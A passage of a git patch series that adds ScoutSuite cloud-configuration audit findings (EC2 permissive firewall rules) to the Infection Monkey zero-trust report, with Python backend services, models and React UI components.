b/monkey/monkey_island/cc/models/zero_trust/scoutsuite_rule.py @@ -0,0 +1,26 @@ +from mongoengine import StringField, EmbeddedDocument, ListField, \ + IntField + +from monkey_island.cc.services.zero_trust.scoutsuite.consts import rule_consts + + +class ScoutSuiteRule(EmbeddedDocument): + """ + This model represents additional information about monkey finding: + Events if monkey finding + Scoutsuite findings if scoutsuite finding + """ + + # SCHEMA + description = StringField(required=True) + path = StringField(required=True) + level = StringField(required=True, options=rule_consts.RULE_LEVELS) + items = ListField() + dashboard_name = StringField(required=True) + checked_items = IntField(min_value=0) + flagged_items = IntField(min_value=0) + service = StringField(required=True) + rationale = StringField(required=True) + remediation = StringField(required=False) + compliance = StringField(required=False) + references = ListField(required=False) diff --git a/monkey/monkey_island/cc/resources/reporting/report.py b/monkey/monkey_island/cc/resources/reporting/report.py index 546f944a3..5273ca810 100644 --- a/monkey/monkey_island/cc/resources/reporting/report.py +++ b/monkey/monkey_island/cc/resources/reporting/report.py @@ -1,11 +1,12 @@ import http.client import flask_restful -from flask import jsonify +from flask import jsonify, Response +from monkey_island.cc.models.zero_trust.scoutsuite_data_json import ScoutSuiteDataJson from monkey_island.cc.resources.auth.auth import jwt_required from monkey_island.cc.services.reporting.report import ReportService -from monkey_island.cc.services.zero_trust.monkey_finding_service import MonkeyFindingService +from monkey_island.cc.services.zero_trust.finding_service import FindingService from monkey_island.cc.services.zero_trust.zero_trust_service import \ ZeroTrustService @@ -16,6 +17,7 @@ REPORT_TYPES = [SECURITY_REPORT_TYPE, ZERO_TRUST_REPORT_TYPE] REPORT_DATA_PILLARS = "pillars" REPORT_DATA_FINDINGS = "findings" REPORT_DATA_PRINCIPLES_STATUS = "principles" +REPORT_DATA_SCOUTSUITE = "scoutsuite" __author__ = ["itay.mizeretz", "shay.nehmad"] @@ -36,6 +38,12 @@ class Report(flask_restful.Resource): elif report_data == REPORT_DATA_PRINCIPLES_STATUS: return jsonify(ZeroTrustService.get_principles_status()) elif report_data == REPORT_DATA_FINDINGS: - return jsonify(MonkeyFindingService.get_all_monkey_findings()) + return jsonify(FindingService.get_all_findings()) + elif report_data == REPORT_DATA_SCOUTSUITE: + try: + data = ScoutSuiteDataJson.objects.get().scoutsuite_data + except Exception: + data = {} + return Response(data, mimetype='application/json') flask_restful.abort(http.client.NOT_FOUND) diff --git a/monkey/monkey_island/cc/services/telemetry/processing/scoutsuite.py b/monkey/monkey_island/cc/services/telemetry/processing/scoutsuite.py index d0e25aebc..c29320535 100644 --- a/monkey/monkey_island/cc/services/telemetry/processing/scoutsuite.py +++ b/monkey/monkey_island/cc/services/telemetry/processing/scoutsuite.py @@ -1,15 +1,32 @@ import json from monkey_island.cc.database import mongo +from monkey_island.cc.models.zero_trust.scoutsuite_data_json import ScoutSuiteDataJson + +from monkey_island.cc.services.zero_trust.scoutsuite.consts.findings_list import SCOUTSUITE_FINDINGS +from monkey_island.cc.services.zero_trust.scoutsuite.data_parsing.rule_parsing import RuleParser +from monkey_island.cc.services.zero_trust.scoutsuite.scoutsuite_finding_service import ScoutSuiteFindingService +from monkey_island.cc.services.zero_trust.scoutsuite.scoutsuite_rule_service import ScoutSuiteRuleService def process_scoutsuite_telemetry(telemetry_json): # Encode data to json, because mongo can't save it as document (invalid document keys) telemetry_json['data'] = json.dumps(telemetry_json['data']) + ScoutSuiteDataJson.add_scoutsuite_data(telemetry_json['data']) + scoutsuite_data = json.loads(telemetry_json['data'])['data'] + create_scoutsuite_findings(scoutsuite_data) update_data(telemetry_json) +def create_scoutsuite_findings(scoutsuite_data): + for finding in SCOUTSUITE_FINDINGS: + for rule in finding.rules: + rule_data = RuleParser.get_rule_data(scoutsuite_data, rule) + rule = ScoutSuiteRuleService.get_rule_from_rule_data(rule_data) + ScoutSuiteFindingService.process_rule(finding, rule) + + def update_data(telemetry_json): - mongo.db.scoutsuite.update( + mongo.db.scoutsuite.insert_one( {'guid': telemetry_json['monkey_guid']}, - {'$push': {'results': telemetry_json['data']}}) + {'results': telemetry_json['data']}) diff --git a/monkey/monkey_island/cc/services/zero_trust/events_service.py b/monkey/monkey_island/cc/services/zero_trust/events_service.py index 5cccee7f3..7f4f9e496 100644 --- a/monkey/monkey_island/cc/services/zero_trust/events_service.py +++ b/monkey/monkey_island/cc/services/zero_trust/events_service.py @@ -18,9 +18,11 @@ class EventsService: 'latest_events': {'$slice': ['$events', -1 * EVENT_FETCH_CNT]}, 'event_count': {'$size': '$events'}}}, {'$unset': ['events']}] - details = MonkeyFindingDetails.objects.aggregate(*pipeline).next() - details['latest_events'] = EventsService._get_events_without_overlap(details['event_count'], - details['latest_events']) + details = list(MonkeyFindingDetails.objects.aggregate(*pipeline)) + if details: + details = details[0] + details['latest_events'] = EventsService._get_events_without_overlap(details['event_count'], + details['latest_events']) return details @staticmethod diff --git a/monkey/monkey_island/cc/services/zero_trust/finding_service.py b/monkey/monkey_island/cc/services/zero_trust/finding_service.py index 2feb02cce..f6ab4b39a 100644 --- a/monkey/monkey_island/cc/services/zero_trust/finding_service.py +++ b/monkey/monkey_island/cc/services/zero_trust/finding_service.py @@ -2,13 +2,24 @@ from typing import List from common.common_consts import zero_trust_consts from monkey_island.cc.models.zero_trust.finding import Finding +from monkey_island.cc.services.zero_trust.events_service import EventsService class FindingService: @staticmethod def get_all_findings() -> List[Finding]: - return list(Finding.objects) + findings = list(Finding.objects) + details = [] + for i in range(len(findings)): + if findings[i].type == zero_trust_consts.MONKEY_FINDING: + details = EventsService.fetch_events_for_display(findings[i].details.id) + elif findings[i].type == zero_trust_consts.SCOUTSUITE_FINDING: + details = findings[i].details.fetch().to_mongo() + findings[i] = findings[i].to_mongo() + findings[i] = FindingService.get_enriched_finding(findings[i]) + findings[i]['details'] = details + return findings @staticmethod def get_enriched_finding(finding): @@ -19,5 +30,6 @@ class FindingService: 'test_key': finding['test'], 'pillars': test_info[zero_trust_consts.PILLARS_KEY], 'status': finding['status'], + 'type': finding['type'] } return enriched_finding diff --git a/monkey/monkey_island/cc/services/zero_trust/monkey_finding_service.py b/monkey/monkey_island/cc/services/zero_trust/monkey_finding_service.py index a1e731b14..1ee60b117 100644 --- a/monkey/monkey_island/cc/services/zero_trust/monkey_finding_service.py +++ b/monkey/monkey_island/cc/services/zero_trust/monkey_finding_service.py @@ -6,7 +6,6 @@ from common.common_consts import zero_trust_consts from monkey_island.cc.models.zero_trust.event import Event from monkey_island.cc.models.zero_trust.finding import Finding from monkey_island.cc.models.zero_trust.monkey_finding_details import MonkeyFindingDetails -from monkey_island.cc.services.zero_trust.finding_service import FindingService class MonkeyFindingService: @@ -38,17 +37,7 @@ class MonkeyFindingService: @staticmethod def add_events(finding: Finding, events: List[Event]): - finding.details.fetch().add_events(events) - - @staticmethod - def get_all_monkey_findings(): - findings = FindingService.get_all_findings() - for i in range(len(findings)): - details = MonkeyFindingService.fetch_events_for_display(findings[i].details.id) - findings[i] = findings[i].to_mongo() - findings[i] = FindingService.get_enriched_finding(findings[i]) - findings[i]['details'] = details - return findings + finding.details.fetch().add_events(events).save() @staticmethod def get_events_by_finding(finding_id: str) -> List[object]: diff --git a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/__init__.py b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/__init__.py new file mode 100644 index 000000000..e69de29bb diff --git a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/findings.py b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/findings.py new file mode 100644 index 000000000..792c92e80 --- /dev/null +++ b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/findings.py @@ -0,0 +1,19 @@ +from common.common_consts import zero_trust_consts +from common.common_consts.zero_trust_consts import NETWORKS +from monkey_island.cc.services.zero_trust.scoutsuite.consts.ec2_rules import EC2Rules + + +class PERMISSIVE_FIREWALL_RULES: + rules = [EC2Rules.SECURITY_GROUP_ALL_PORTS_TO_ALL, EC2Rules.SECURITY_GROUP_OPENS_TCP_PORT_TO_ALL, + EC2Rules.SECURITY_GROUP_OPENS_UDP_PORT_TO_ALL, EC2Rules.SECURITY_GROUP_OPENS_RDP_PORT_TO_ALL, + EC2Rules.SECURITY_GROUP_OPENS_SSH_PORT_TO_ALL, EC2Rules.SECURITY_GROUP_OPENS_MYSQL_PORT_TO_ALL, + EC2Rules.SECURITY_GROUP_OPENS_MSSQL_PORT_TO_ALL, EC2Rules.SECURITY_GROUP_OPENS_MONGODB_PORT_TO_ALL, + EC2Rules.SECURITY_GROUP_OPENS_ORACLE_DB_PORT_TO_ALL, EC2Rules.SECURITY_GROUP_OPENS_POSTGRESQL_PORT_TO_ALL, + EC2Rules.SECURITY_GROUP_OPENS_NFS_PORT_TO_ALL, EC2Rules.SECURITY_GROUP_OPENS_SMTP_PORT_TO_ALL, + EC2Rules.SECURITY_GROUP_OPENS_DNS_PORT_TO_ALL, EC2Rules.SECURITY_GROUP_OPENS_ALL_PORTS_TO_SELF, + EC2Rules.SECURITY_GROUP_OPENS_ALL_PORTS, EC2Rules.SECURITY_GROUP_OPENS_PLAINTEXT_PORT_FTP, + EC2Rules.SECURITY_GROUP_OPENS_PLAINTEXT_PORT_TELNET, EC2Rules.SECURITY_GROUP_OPENS_PORT_RANGE] + + pillars = [NETWORKS] + + test = zero_trust_consts.TEST_SCOUTSUITE_PERMISSIVE_FIREWALL_RULES diff --git a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/findings_list.py b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/findings_list.py new file mode 100644 index 000000000..bf54ac8ce --- /dev/null +++ b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/findings_list.py @@ -0,0 +1,3 @@ +from monkey_island.cc.services.zero_trust.scoutsuite.consts.findings import PERMISSIVE_FIREWALL_RULES + +SCOUTSUITE_FINDINGS = [PERMISSIVE_FIREWALL_RULES] diff --git a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/rule_consts.py b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/rule_consts.py new file mode 100644 index 000000000..732852174 --- /dev/null +++ b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/rule_consts.py @@ -0,0 +1,4 @@ +RULE_LEVEL_DANGER = 'danger' +RULE_LEVEL_WARNING = 'warning' + +RULE_LEVELS = (RULE_LEVEL_DANGER, RULE_LEVEL_WARNING) diff --git a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/service_consts.py b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/service_consts.py new file mode 100644 index 000000000..5c0338c26 --- /dev/null +++ b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/service_consts.py @@ -0,0 +1,9 @@ +from enum import Enum + + +SERVICES = 'services' +FINDINGS = 'findings' + + +class SERVICE_TYPES(Enum): + EC2 = 'ec2' diff --git a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/scoutsuite_finding_service.py b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/scoutsuite_finding_service.py new file mode 100644 index 000000000..6f8e64e87 --- /dev/null +++ b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/scoutsuite_finding_service.py @@ -0,0 +1,65 @@ +from typing import List + +from common.common_consts import zero_trust_consts +from monkey_island.cc.models.zero_trust.finding import Finding +from monkey_island.cc.models.zero_trust.scoutsuite_finding_details import ScoutSuiteFindingDetails +from monkey_island.cc.models.zero_trust.scoutsuite_rule import ScoutSuiteRule +from monkey_island.cc.services.zero_trust.scoutsuite.scoutsuite_rule_service import ScoutSuiteRuleService + + +class ScoutSuiteFindingService: + + @staticmethod + # TODO add type hinting like finding: Union[SCOUTSUITE_FINDINGS]? + def process_rule(finding, rule: ScoutSuiteRule): + existing_findings = Finding.objects(test=finding.test, type=zero_trust_consts.SCOUTSUITE_FINDING) + assert (len(existing_findings) < 2), "More than one finding exists for {}".format(finding.test) + + if len(existing_findings) == 0: + ScoutSuiteFindingService.create_new_finding_from_rule(finding, rule) + else: + ScoutSuiteFindingService.add_rule(existing_findings[0], rule) + + @staticmethod + def create_new_finding_from_rule(finding, rule: ScoutSuiteRule): + details = ScoutSuiteFindingDetails() + details.scoutsuite_rules = [rule] + details.save() + status = ScoutSuiteFindingService.get_finding_status_from_rules(details.scoutsuite_rules) + Finding.save_finding(finding.test, status, details) + + @staticmethod + def get_finding_status_from_rules(rules: List[ScoutSuiteRule]) -> str: + if len(rules) == 0: + return zero_trust_consts.STATUS_UNEXECUTED + elif filter(lambda x: ScoutSuiteRuleService.is_rule_dangerous(x), rules): + return zero_trust_consts.STATUS_FAILED + elif filter(lambda x: ScoutSuiteRuleService.is_rule_warning(x), rules): + return zero_trust_consts.STATUS_VERIFY + else: + return zero_trust_consts.STATUS_PASSED + + @staticmethod + def add_rule(finding: Finding, rule: ScoutSuiteRule): + ScoutSuiteFindingService.change_finding_status_by_rule(finding, rule) + finding.save() + finding.details.fetch().add_rule(rule) + + @staticmethod + def change_finding_status_by_rule(finding: Finding, rule: ScoutSuiteRule): + rule_status = ScoutSuiteFindingService.get_finding_status_from_rules([rule]) + finding_status = finding.status + new_finding_status = ScoutSuiteFindingService.get_finding_status_from_rule_status(finding_status, rule_status) + if finding_status != new_finding_status: + finding.status = new_finding_status + + @staticmethod + def get_finding_status_from_rule_status(finding_status: str, rule_status: str) -> str: + if finding_status == zero_trust_consts.STATUS_FAILED or rule_status == zero_trust_consts.STATUS_FAILED: + return zero_trust_consts.STATUS_FAILED + elif finding_status == zero_trust_consts.STATUS_VERIFY or rule_status == zero_trust_consts.STATUS_VERIFY: + return zero_trust_consts.STATUS_VERIFY + elif finding_status == zero_trust_consts.STATUS_PASSED or rule_status == zero_trust_consts.STATUS_PASSED: + return zero_trust_consts.STATUS_PASSED + else: + return zero_trust_consts.STATUS_UNEXECUTED diff --git a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/scoutsuite_rule_service.py b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/scoutsuite_rule_service.py new file mode 100644 index 000000000..3b76194af --- /dev/null +++ b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/scoutsuite_rule_service.py @@ -0,0 +1,30 @@ +from monkey_island.cc.models.zero_trust.scoutsuite_rule import ScoutSuiteRule +from monkey_island.cc.services.zero_trust.scoutsuite.consts import rule_consts + + +class ScoutSuiteRuleService: + + @staticmethod + def get_rule_from_rule_data(rule_data: dict) -> ScoutSuiteRule: + rule = ScoutSuiteRule() + rule.description = rule_data['description'] + rule.path = rule_data['path'] + rule.level = rule_data['level'] + rule.items = rule_data['items'] + rule.dashboard_name = rule_data['dashboard_name'] + rule.checked_items = rule_data['checked_items'] + rule.flagged_items = rule_data['flagged_items'] + rule.service = rule_data['service'] + rule.rationale = rule_data['rationale'] + rule.remediation = rule_data['remediation'] + rule.compliance = rule_data['compliance'] + rule.references = rule_data['references'] + return rule + + @staticmethod + def is_rule_dangerous(rule: ScoutSuiteRule): + return rule.level == rule_consts.RULE_LEVEL_DANGER and len(rule.items) != 0 + + @staticmethod + def is_rule_warning(rule: ScoutSuiteRule): + return rule.level == rule_consts.RULE_LEVEL_WARNING and len(rule.items) != 0 diff --git a/monkey/monkey_island/cc/services/zero_trust/scoutsuite_finding_service.py b/monkey/monkey_island/cc/services/zero_trust/scoutsuite_finding_service.py deleted file mode 100644 index 12ab2743b..000000000 --- a/monkey/monkey_island/cc/services/zero_trust/scoutsuite_finding_service.py +++ /dev/null @@ -1,3 +0,0 @@ - -class ScoutsuiteFindingService: - pass From c66cb11e79c14b89a73db49dc283feacbaa03792 Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Fri, 18 Sep 2020 10:26:25 +0300 Subject: [PATCH 021/466] Added ScoutSuite UI code --- .../zero_trust/monkey_finding_details.py | 3 +- .../cc/ui/src/components/pages/ReportPage.js | 7 +- .../report-components/ZeroTrustReport.js | 9 +- .../consts/ScoutSuiteConsts/RuleLevels.js | 6 ++ .../common/consts/StatusConsts.js | 8 ++ .../zerotrust/FindingsSection.js | 12 ++- .../zerotrust/FindingsTable.js | 81 +++++++++-------- .../zerotrust/scoutsuite/ResourceDropdown.js | 75 ++++++++++++++++ .../zerotrust/scoutsuite/RuleDisplay.js | 56 ++++++++++++ .../scoutsuite/ScoutSuiteDataParser.js | 58 ++++++++++++ .../scoutsuite/ScoutSuiteRuleButton.js | 45 ++++++++++ .../scoutsuite/ScoutSuiteRuleModal.js | 58 ++++++++++++ .../ScoutSuiteSingleRuleDropdown.js | 90 +++++++++++++++++++ .../monkey_island/cc/ui/src/styles/Main.scss | 1 + .../cc/ui/src/styles/components/Collapse.scss | 9 ++ .../scoutsuite/ResourceDropdown.scss | 20 +++++ .../components/scoutsuite/RuleDisplay.scss | 21 +++++ .../components/scoutsuite/RuleModal.scss | 5 ++ 18 files changed, 519 insertions(+), 45 deletions(-) create mode 100644 monkey/monkey_island/cc/ui/src/components/report-components/common/consts/ScoutSuiteConsts/RuleLevels.js create mode 100644 monkey/monkey_island/cc/ui/src/components/report-components/common/consts/StatusConsts.js create mode 100644 monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/scoutsuite/ResourceDropdown.js create mode 100644 monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/scoutsuite/RuleDisplay.js create mode 100644 monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/scoutsuite/ScoutSuiteDataParser.js create mode 100644 monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/scoutsuite/ScoutSuiteRuleButton.js create mode 100644 monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/scoutsuite/ScoutSuiteRuleModal.js create mode 100644 monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/scoutsuite/ScoutSuiteSingleRuleDropdown.js create mode 100644 monkey/monkey_island/cc/ui/src/styles/components/scoutsuite/ResourceDropdown.scss create mode 100644 monkey/monkey_island/cc/ui/src/styles/components/scoutsuite/RuleDisplay.scss create mode 100644 monkey/monkey_island/cc/ui/src/styles/components/scoutsuite/RuleModal.scss diff --git a/monkey/monkey_island/cc/models/zero_trust/monkey_finding_details.py b/monkey/monkey_island/cc/models/zero_trust/monkey_finding_details.py index 029136679..bcd19f593 100644 --- a/monkey/monkey_island/cc/models/zero_trust/monkey_finding_details.py +++ b/monkey/monkey_island/cc/models/zero_trust/monkey_finding_details.py @@ -1,9 +1,10 @@ from typing import List -from mongoengine import DateTimeField, Document, StringField, EmbeddedDocumentListField +from mongoengine import Document, EmbeddedDocumentListField from monkey_island.cc.models.zero_trust.event import Event + class MonkeyFindingDetails(Document): """ This model represents additional information about monkey finding: diff --git a/monkey/monkey_island/cc/ui/src/components/pages/ReportPage.js b/monkey/monkey_island/cc/ui/src/components/pages/ReportPage.js index cb30ba117..e0b458c8b 100644 --- a/monkey/monkey_island/cc/ui/src/components/pages/ReportPage.js +++ b/monkey/monkey_island/cc/ui/src/components/pages/ReportPage.js @@ -60,7 +60,7 @@ class ReportPageComponent extends AuthComponent { } getZeroTrustReportFromServer = async () => { - let ztReport = {findings: {}, principles: {}, pillars: {}}; + let ztReport = {findings: {}, principles: {}, pillars: {}, scoutsuite_data: {}}; await this.authFetch('/api/report/zero_trust/findings') .then(res => res.json()) .then(res => { @@ -76,6 +76,11 @@ class ReportPageComponent extends AuthComponent { .then(res => { ztReport.pillars = res; }); + await this.authFetch('/api/report/zero_trust/scoutsuite') + .then(res => res.json()) + .then(res => { + ztReport.scoutsuite_data = res; + }); return ztReport }; diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/ZeroTrustReport.js b/monkey/monkey_island/cc/ui/src/components/report-components/ZeroTrustReport.js index 772802c9d..b400b3418 100644 --- a/monkey/monkey_island/cc/ui/src/components/report-components/ZeroTrustReport.js +++ b/monkey/monkey_island/cc/ui/src/components/report-components/ZeroTrustReport.js @@ -16,7 +16,7 @@ class ZeroTrustReportPageComponent extends AuthComponent { componentDidUpdate(prevProps) { if (this.props.report !== prevProps.report) { - this.setState(this.props.report) + this.setState(this.props.report) } } @@ -29,7 +29,9 @@ class ZeroTrustReportPageComponent extends AuthComponent { - + ; } @@ -57,7 +59,8 @@ class ZeroTrustReportPageComponent extends AuthComponent { stillLoadingDataFromServer() { return typeof this.state.findings === 'undefined' || typeof this.state.pillars === 'undefined' - || typeof this.state.principles === 'undefined'; + || typeof this.state.principles === 'undefined' + || typeof this.state.scoutsuite_data === 'undefined'; } diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/common/consts/ScoutSuiteConsts/RuleLevels.js b/monkey/monkey_island/cc/ui/src/components/report-components/common/consts/ScoutSuiteConsts/RuleLevels.js new file mode 100644 index 000000000..20b92a3eb --- /dev/null +++ b/monkey/monkey_island/cc/ui/src/components/report-components/common/consts/ScoutSuiteConsts/RuleLevels.js @@ -0,0 +1,6 @@ +const RULE_LEVELS = { + LEVEL_WARNING: 'warning', + LEVEL_DANGER: 'danger' +} + +export default RULE_LEVELS diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/common/consts/StatusConsts.js b/monkey/monkey_island/cc/ui/src/components/report-components/common/consts/StatusConsts.js new file mode 100644 index 000000000..472b045ae --- /dev/null +++ b/monkey/monkey_island/cc/ui/src/components/report-components/common/consts/StatusConsts.js @@ -0,0 +1,8 @@ +const STATUSES = { + STATUS_UNEXECUTED: 'Unexecuted', + STATUS_PASSED: 'Passed', + STATUS_VERIFY: 'Verify', + STATUS_FAILED: 'Failed' +} + +export default STATUSES diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/FindingsSection.js b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/FindingsSection.js index 5fa3a4a80..eb8231441 100644 --- a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/FindingsSection.js +++ b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/FindingsSection.js @@ -32,9 +32,15 @@ class FindingsSection extends Component { insight as to what exactly happened during this test.

- - - + + + ); } diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/FindingsTable.js b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/FindingsTable.js index f83921dae..10e546767 100644 --- a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/FindingsTable.js +++ b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/FindingsTable.js @@ -4,52 +4,59 @@ import PaginatedTable from '../common/PaginatedTable'; import * as PropTypes from 'prop-types'; import PillarLabel from './PillarLabel'; import EventsButton from './EventsButton'; +import ScoutSuiteRuleButton from './scoutsuite/ScoutSuiteRuleButton'; -const EVENTS_COLUMN_MAX_WIDTH = 170; +const EVENTS_COLUMN_MAX_WIDTH = 250; const PILLARS_COLUMN_MAX_WIDTH = 200; -const columns = [ - { - columns: [ - { - Header: 'Finding', accessor: 'test', - style: {'whiteSpace': 'unset'} // This enables word wrap - }, - - { - Header: 'Events', id: 'events', - accessor: x => { - return ; - }, - maxWidth: EVENTS_COLUMN_MAX_WIDTH - }, - - { - Header: 'Pillars', id: 'pillars', - accessor: x => { - const pillars = x.pillars; - const pillarLabels = pillars.map((pillar) => - - ); - return
{pillarLabels}
; - }, - maxWidth: PILLARS_COLUMN_MAX_WIDTH, - style: {'whiteSpace': 'unset'} - } - ] - } -]; export class FindingsTable extends Component { + columns = [ + { + columns: [ + { + Header: 'Finding', accessor: 'test', + style: {'whiteSpace': 'unset'} // This enables word wrap + }, + + { + Header: 'Details', id: 'details', + accessor: x => { + if (x.type === 'scoutsuite_finding') { + return ; + } else if (x.type === 'monkey_finding') { + return ; + } + }, + maxWidth: EVENTS_COLUMN_MAX_WIDTH + }, + + { + Header: 'Pillars', id: 'pillars', + accessor: x => { + const pillars = x.pillars; + const pillarLabels = pillars.map((pillar) => + + ); + return
{pillarLabels}
; + }, + maxWidth: PILLARS_COLUMN_MAX_WIDTH, + style: {'whiteSpace': 'unset'} + } + ] + } + ]; + render() { return

{ } tests' findings

- +
} } diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/scoutsuite/ResourceDropdown.js b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/scoutsuite/ResourceDropdown.js new file mode 100644 index 000000000..996f62590 --- /dev/null +++ b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/scoutsuite/ResourceDropdown.js @@ -0,0 +1,75 @@ +import React, {useState} from 'react'; +import * as PropTypes from 'prop-types'; +import '../../../../styles/components/scoutsuite/RuleDisplay.scss' +import classNames from 'classnames'; +import {FontAwesomeIcon} from '@fortawesome/react-fontawesome'; +import {faChevronDown} from '@fortawesome/free-solid-svg-icons/faChevronDown'; +import {faChevronUp} from '@fortawesome/free-solid-svg-icons/faChevronUp'; +import ScoutSuiteDataParser from './ScoutSuiteDataParser'; +import Collapse from '@kunukn/react-collapse'; +import {faArrowRight} from '@fortawesome/free-solid-svg-icons'; + +export default function ResourceDropdown(props) { + + const [isCollapseOpen, setIsCollapseOpen] = useState(false); + + function getResourceDropdown() { + return ( +
+ + +
+ ); + } + + function replacePathDotsWithArrows(resourcePath) { + let path_vars = resourcePath.split('.') + let display_path = [] + for(let i = 0; i < path_vars.length; i++){ + display_path.push(path_vars[i]) + if( i !== path_vars.length - 1) { + display_path.push() + } + } + return display_path; + } + + function prettyPrintJson(data) { + return JSON.stringify(data, null, 4); + } + + function getResourceDropdownContents() { + let parser = new ScoutSuiteDataParser(props.scoutsuite_data.data.services); + return ( +
+
+

Path:

+

{replacePathDotsWithArrows(props.resource_path)}

+
+
+

Value:

+
{prettyPrintJson(parser.getValueAt(props.resource_path))}
+
+
+ ); + } + + return getResourceDropdown(); +} + +ResourceDropdown.propTypes = { + resource_path: PropTypes.object, + scoutsuite_data: PropTypes.object +}; diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/scoutsuite/RuleDisplay.js b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/scoutsuite/RuleDisplay.js new file mode 100644 index 000000000..6078b3855 --- /dev/null +++ b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/scoutsuite/RuleDisplay.js @@ -0,0 +1,56 @@ +import React from 'react'; +import * as PropTypes from 'prop-types'; +import '../../../../styles/components/scoutsuite/RuleDisplay.scss' +import ResourceDropdown from './ResourceDropdown'; + +export default function RuleDisplay(props) { + + return ( +
+
+

{props.rule.description}({props.rule.service})

+
+
+

{props.rule.rationale}

+
+
+

Resources checked:

+

{props.rule.checked_items}

+
+
+

Resources flagged:

+

{props.rule.flagged_items}

+
+ {props.rule.references.length !== 0 ? getReferences() : ''} + {props.rule.items.length !== 0 ? getResources() : ''} +
); + + function getReferences() { + let references = [] + props.rule.references.forEach(reference => { + references.push({reference}) + }) + return ( +
+

References:

+ {references} +
) + } + + function getResources() { + let resources = [] + props.rule.items.forEach(item => { + resources.push() + }) + return ( +
+

Resources:

+ {resources} +
) + } +} + +RuleDisplay.propTypes = { + rule: PropTypes.object, + scoutsuite_data: PropTypes.object +}; diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/scoutsuite/ScoutSuiteDataParser.js b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/scoutsuite/ScoutSuiteDataParser.js new file mode 100644 index 000000000..0129804f8 --- /dev/null +++ b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/scoutsuite/ScoutSuiteDataParser.js @@ -0,0 +1,58 @@ +export default class ScoutSuiteDataParser { + constructor(runResults) { + this.runResults = runResults + } + + getValueAt(path) { + return this.getValueAtRecursive(path, this.runResults) + } + + getValueAtRecursive(path, source) { + let value = source; + let current_path = path; + let key; + // iterate over each path elements + while (current_path) { + // check if there are more elements to the path + if (current_path.indexOf('.') != -1) { + key = current_path.substr(0, current_path.indexOf('.')); + } + // last element + else { + key = current_path; + } + + try { + // path containing an ".id" + if (key == 'id') { + let v = []; + let w; + for (let k in value) { + // process recursively + w = this.getValueAtRecursive(k + current_path.substr(current_path.indexOf('.'), current_path.length), value); + v = v.concat( + Object.values(w) // get values from array, otherwise it will be an array of key/values + ); + } + return v; + } + // simple path, just return element in value + else { + value = value[key]; + } + } catch (err) { + console.log('Error: ' + err) + } + + // check if there are more elements to process + if (current_path.indexOf('.') != -1) { + current_path = current_path.substr(current_path.indexOf('.') + 1, current_path.length); + } + // otherwise we're done + else { + current_path = false; + } + } + return value; + } +} diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/scoutsuite/ScoutSuiteRuleButton.js b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/scoutsuite/ScoutSuiteRuleButton.js new file mode 100644 index 000000000..97c5f861a --- /dev/null +++ b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/scoutsuite/ScoutSuiteRuleButton.js @@ -0,0 +1,45 @@ +import React, {Component} from 'react'; +import {Badge, Button} from 'react-bootstrap'; +import * as PropTypes from 'prop-types'; + +import {FontAwesomeIcon} from '@fortawesome/react-fontawesome'; +import {faList} from '@fortawesome/free-solid-svg-icons/faList'; +import ScoutSuiteRuleModal from './ScoutSuiteRuleModal'; + +export default class ScoutSuiteRuleButton extends Component { + constructor(props) { + super(props); + this.state = { + isModalOpen: false + } + } + + toggleModal = () => { + this.setState({isModalOpen: !this.state.isModalOpen}); + }; + + render() { + return ( + <> + +
+ +
